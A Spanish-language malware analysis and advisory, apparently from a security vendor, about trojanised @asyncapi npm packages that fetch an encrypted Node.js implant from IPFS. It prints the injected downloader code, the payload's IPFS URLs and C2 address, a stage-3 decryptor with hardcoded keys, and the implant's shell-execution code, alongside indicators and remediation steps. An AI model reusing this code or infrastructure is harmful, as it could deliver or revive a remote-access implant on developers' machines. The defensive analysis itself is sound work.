Hemos identificado cinco archivos infectados con troyanos @asyncapi paquetes publicados el 14 de julio de 2026. El atacante robó un token de publicación de npm aprovechando una pull_request_target una vulnerabilidad en el flujo de trabajo del repositorio del generador de AsyncAPI y, a continuación, inyectó un descargador ofuscado en los módulos de tiempo de ejecución normales de cuatro paquetes. Al importar cualquiera de los paquetes afectados, se descarga un cargador de Node.js cifrado desde IPFS y se escribe en el disco como sync.js, y lo inicia como un proceso independiente.
La cadena termina en un implante persistente con un shell remoto real. El marco de la carga útil se identifica a sí mismo como M-RED-TEAM v6.4 en los propios comentarios del código. La recopilación de credenciales y la autopropagación están presentes en el código, pero desactivadas en esta versión. El shell es suficiente para que el operador recopile datos y ejecute comandos arbitrarios sin necesidad de esas funciones.
En conjunto, estos paquetes registran aproximadamente 2,9 millones de descargas semanales, con @asyncapi/specs solo esta cifra representa unos 2,7 millones.
Cómo consiguió el atacante acceso de publicación
El asyncapi/generator El repositorio utilizaba un Flujo de trabajo de GitHub Actions con un pull_request_target desencadenador. Este desencadenador se ejecuta con acceso a los secretos del repositorio incluso cuando el flujo de trabajo extrae código de una solicitud de incorporación de cambios externa, lo que supone un riesgo bien conocido.
Un colaborador detectó la vulnerabilidad y abrió una solicitud de incorporación de cambios (#2092) el 17 de mayo. Casi dos meses después, cuando se produjo el ataque, aún no se había integrado.
A las 05:08 UTC del 14 de julio, el atacante abrió 37 solicitudes de incorporación de cambios en el repositorio del generador. Una de ellas, Comunicado de prensa n.º 2155, contenía código JavaScript ofuscado que extraía el token de publicación de npm a rentry[.]co. El proceso finalizó a las 05:16 UTC. Una vez obtenido el token, el atacante envió cambios maliciosos al siguiente creó una rama a las 06:58 UTC y publicó los primeros paquetes comprometidos a las 07:10 UTC. A continuación, pasaron a asyncapi/spec-json-schemas, realizando 11 commits entre las 07:51 y las 08:28 UTC para publicar las versiones de las especificaciones.
Atribución
El ataque consiste en tres señales superpuestas que no apuntan todas al mismo lugar.
La técnica de acceso inicial (una inundación de PR dirigida a un pull_request_target El flujo de trabajo (con un punto de entrega oculto en rentry[.]co) coincide con los patrones de la campaña «prt-scan» observados anteriormente en ataques similares de robo de secretos en GitHub Actions.
El marco de carga útil se identifica a sí mismo como M-RED-TEAM v6.4 en los comentarios del código a lo largo del código fuente de la etapa 3 recuperado. Esa es la denominación más directa que el propio código se da a sí mismo.
Los nombres de los artefactos y la configuración siguen la imagen de marca de Miasma: el objetivo de compilación es miasma-tren-p1, las rutas de bloqueo e identidad en tiempo de ejecución se encuentran en ~/.config/.miasma/, los artefactos de persistencia se denominan monitor de miasmas, y los certificados de generación utilizan la cadena de formato miasma-spawn-cert-v1. Estos se solapan con los versión anterior del kit de herramientas Miasma, aunque Un investigador de SafeDep señaló que las cargas útiles difieren: la versión anterior se basaba en Bun, con RSA, propagación activa y un mecanismo «deadman» destructivo; esta se basa en Node, con secp256k1/AES-GCM, HTTP C2 y esas funciones desactivadas.
A partir de las pruebas disponibles, no podemos determinar si el acceso inicial a prt-scan y la carga útil de M-RED-TEAM corresponden a un único operador o a partes distintas. La marca «Miasma» podría deberse a la reutilización de código, a una imitación o a un error deliberado en la denominación. En este informe no se establece ninguna atribución definitiva.
Cinco paquetes de tiempo de ejecución se encargaron de la primera etapa
Las versiones afectadas:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
El código malicioso no se encuentra en un gancho del ciclo de vida de npm. Se colocó en módulos que se ejecutan durante el uso normal: el características técnicas punto de entrada, un generador un validador, una utilidad auxiliar y un módulo de gestión de errores de los componentes. La carga útil se ejecuta cuando se carga el módulo, por lo que un simple require() es suficiente para activarlo.
En @asyncapi/specs, el programa de descarga se antepone a las exportaciones reales del esquema:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};El programa de descarga se ejecuta en un proceso hijo independiente. Tras llamar a child.unref(), el proceso principal se cierra inmediatamente y la descarga continúa en segundo plano.
El node -e La carga útil está ofuscada, pero su tabla de búsqueda de cadenas contiene la URL de IPFS y el nombre del archivo de descarga en texto plano:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']La rama «specs» recupera el CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. La rama de la familia de generadores recupera QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Ambos escriben sync.js a un directorio de datos de Node.js específico para cada usuario: ~/Biblioteca/Application Support/NodeJS en macOS, %LOCALAPPDATA%\NodeJS en Windows, ~/.local/share/NodeJS en Linux.
Fase 2: cargadores cifrados desde IPFS
Los dos objetos IPFS son cargadores de JavaScript ofuscados: 8 243 380 bytes (especificaciones) y 8 254 481 bytes (familia de generadores). Cada uno de ellos deriva una clave AES-256-GCM mediante HKDF-SHA256, descifra un almacén integrado, invierte una rotación de caracteres ASCII imprimibles y evalúa el resultado. Hemos extraído la lógica en un descifrador no ejecutable:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');Las etiquetas de autenticación GCM son válidas para ambas compilaciones. Cada cargador contiene además un paquete de fuentes campo cifrado con la misma clave; coincide byte a byte con el archivo de la etapa 3 recuperado. La configuración integrada utiliza una clave independiente derivada de rt-baked-key y el mismo maestro codificado de forma fija.
Los dos archivos recuperados de la fase 3:
- Especificaciones de la compilación: 3.088.921 bytes, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Compilación de la familia de generadores: 3 093 085 bytes, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
La versión «generator-family» presenta una diferencia de comportamiento: un temporizador que vuelve a comprobar el C2 principal tras la conmutación por error y vuelve a cambiar cuando este se recupera. Otras diferencias son las declaraciones innecesarias generadas.
Ambas compilaciones incluyen una cadena de generación secp256k1 con dos certificados. Ambas firmas se verifican correctamente. La cadena no impide que se ejecute esta semilla.
Campos de configuración que pueden llevar a confusión
Los primeros informes lo describieron como un «canario de seguridad» basándose en los valores de los campos de configuración. La configuración predefinida que recuperamos:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}Ninguno de los tres valores de campo se sostiene tras el análisis del gráfico de llamadas:
safeMode: true: el punto de entrada pasa la configuración directamente a la función de arranque y nunca llama a lamodo segurovalidador.actualPersist: false: la función de arranque leetoggles.persist, noactualPersist.toggles.persistestrue. Se ejecutan las tareas de persistencia.canaryPercent: 5: elEnvío por lotesEl comando no está implementado y ninguna ruta de selección de víctimas lee este campo. No tiene ningún efecto.
Para qué sirve el implante
En la primera ejecución, la carga útil genera un par de claves secp256k1 y lo almacena en una ruta específica de la plataforma, camuflado como un archivo de caché del sistema. Utiliza ~/.config/.miasma/run/node.lock para evitar que se repitan las entradas.
Persistencia por plataforma:
- macOS: añade un
nohupbloque a.zshrc,.bashrc, o.bash_profile - Windows: escribe en HKCU
Ejecutavalormonitor de miasmas - Linux: escribe
~/.config/systemd/user/miasma-monitor.servicey lo habilita. ElExecStartFalta un script de shell, por lo que es probable que la unidad no se inicie, pero los archivos se escriben.
El implante envía señales a hxxp://85[.]137[.]53[.]71:8080 aproximadamente cada 30 segundos. Las balizas están firmadas y cifradas con la clave pública del atacante. Incluso con reconocimiento desactivadas, cada baliza incluye vistas previas censuradas de RUTA, INICIO, USUARIO, y NOMBRE DE HOST, y comprueba si hay archivos de configuración de Cursor, Claude y VS Code en /app.
Las órdenes suelen enviarse en un sobre cifrado. Cuando no hay ningún paquete cifrado, el gestor recurre al texto sin cifrar. comandos array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}Dado que el C2 utiliza el protocolo HTTP, un atacante que se encuentre en la ruta puede inyectar comandos a través de esta ruta.
Comando 11 (ShellExec) reenvía la solicitud a child_process.exec(). El único comando que figura en la lista negra es killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};Los comandos de archivos (list, get, put) se ejecutan en un entorno aislado con un valor fijo /sim-fs ruta. El comando «delete» no está implementado. El shell no tiene esa restricción.
Las actualizaciones de la carga útil proceden de dos fuentes: un comando del operador que proporciona un nuevo CID, o un bucle de sondeo de dos minutos que comprueba en Nostr y Ethereum si hay una versión superior. Las actualizaciones de Nostr se verifican mediante firma. Los registros de Ethereum se aceptan sin verificar la firma (trustUnsignedBlockchain: true). Una actualización recuperada se escribe en el disco como un .bin/.cache/.dat archivo, ejecutado con Node, y al que se le permite sustituir al proceso actual.
Lo que aparece en el código pero no está activo
El paquete contiene un recopilador completo de credenciales que abarca credenciales en la nube, tokens de gestores de paquetes, claves SSH/GPG, historiales de shell, navegadores, sistemas de CI/CD, herramientas de desarrollo de IA, bases de datos, carteras, contenedores y gestores de contraseñas. Puede descargar Gitleaks y HackBrowserData para facilitar la recopilación. Nada de esto se ejecuta porque toggles.recon es falso; el recolector se cierra antes de recoger nada. El shell puede conseguir el mismo resultado manualmente.
Los vectores de propagación para npm, PyPI y Cargo están presentes e implementados. Todos los indicadores de propagación están en «false»; el único trySpread() La llamada está protegida por el modo persistente (que devuelve un resultado antes de llegar a ella), y la Propagar command is unimplemented. No spread occurs.
El motor de mutaciones, las comprobaciones de evasión, el envenenamiento de herramientas de IA y el interruptor de seguridad están desactivados. La implementación de borrado escribe un archivo marcador en ~/Documentos/SIMULATION_WIPE_TRIGGERED.txt en lugar de borrar nada.
C2 e infraestructura de apoyo
El protocolo HTTP en el puerto 8080 es el único canal real de señalización y comando. Los demás protocolos tienen funciones más limitadas:
- Nostr: proporciona actualizaciones de direcciones, registros firmados de actualización de carga útil y direcciones múltiples de pares
- Ethereum: proporciona una dirección de servicio de solo lectura y registros de actualización
- IPFS: aloja objetos de carga útil y datos cifrados
- libp2p / BitTorrent DHT / mDNS: detección de pares y «gossip»; sin tráfico de comandos ni de balizas
Varios métodos genéricos de carga y de comando en los transportes de nivel inferior no realizan ninguna operación en esta versión.
Indicadores de compromiso
Paquetes
SHA-256 de la versión del paquete@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Red
- C2:
85[.]137[.]53[.]71:8080, subir::8081, gestión de delegaciones::8091 - Bloque RIPE
85.137.53.0/24, objetoVSYS-AMS, AS43641 - Contrato de Ethereum
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID de cadena 1 - Nostr informa:
wss://relay.damus.io,wss://relay.nostr.com/ - Inicialización de DHT:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Caída:
sync.jsen el directorio de datos de Node.js de cada usuario (rutas indicadas más arriba) - Cerradura:
~/.config/.miasma/run/node.lock - Identidad de macOS:
~/Biblioteca/Application Support/com.apple.spotlight/index-v2.cache - Identidad de Linux:
~/.cache/mesa_shader_cache/gl_cache.bin - Identidad de Windows:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Persistencia en Linux:
~/.config/systemd/user/miasma-monitor.service - Valor de «Ejecutar» de Windows:
monitor de miasmas
Criptomonedas
- Clave pública secp256k1 del atacante:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
¿Qué hacer ahora?
Rebajar a @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, y @asyncapi/generator-components@0.7.0. Elimina las cinco versiones afectadas de los manifiestos, los archivos de bloqueo, las cachés, los servidores espejo internos y las imágenes de compilación. Busca los sistemas que importado los módulos afectados, y no solo los sistemas en los que se instaló el paquete, ya que el implante se ejecuta en require().
En cualquier host sospechoso: aísla y conserva primero el estado volátil. Busca las rutas de «drop», «lock», «identity» y «persistence» mencionadas anteriormente, así como procesos «Node» inusuales que se hayan desconectado. Comprueba si hay conexiones a los puertos C2 y si hay actividad de «Node» relacionada con IPFS, Nostr, Ethereum RPC, DHT o mDNS.
Considera que las credenciales a las que tiene acceso un equipo de desarrollo o un servidor de compilación afectado pueden estar expuestas a través de comandos de shell. Renueva los tokens de npm, el acceso al control de código fuente, las credenciales de la nube, los secretos de CI/CD, las claves SSH, las claves de firma y las sesiones del navegador desde un equipo limpio. Vuelve a configurar los servidores comprometidos.
El @asyncapi/specs@6.11.2-alpha.1 El archivo tarball sigue estando disponible para su descarga en su URL directa, a pesar de que ya no aparece en los metadatos del registro. Es necesario eliminarlo del almacenamiento secundario y de la CDN.
Cómo Aikido detecta esto
Si utilizas Aikido, comprueba tu feed central y filtra los problemas relacionados con el malware. Las cinco versiones comprometidas aparecen como problemas críticos con una puntuación de 100/100. Si aún no tienes una cuenta, créate una y conecta tus repositorios: la cobertura contra el malware está incluida en el plan gratuito, sin necesidad de tarjeta de crédito.
Aikido Device Protection te ofrece una visión general de los paquetes instalados en los dispositivos de tu equipo, incluidas las bibliotecas, los complementos del IDE y las dependencias de compilación. Aikido Safe Chain (de código abierto) se integra en tu flujo de trabajo actual y comprueba los paquetes con Aikido Intel antes de que npm, yarn o pnpm los instalen.

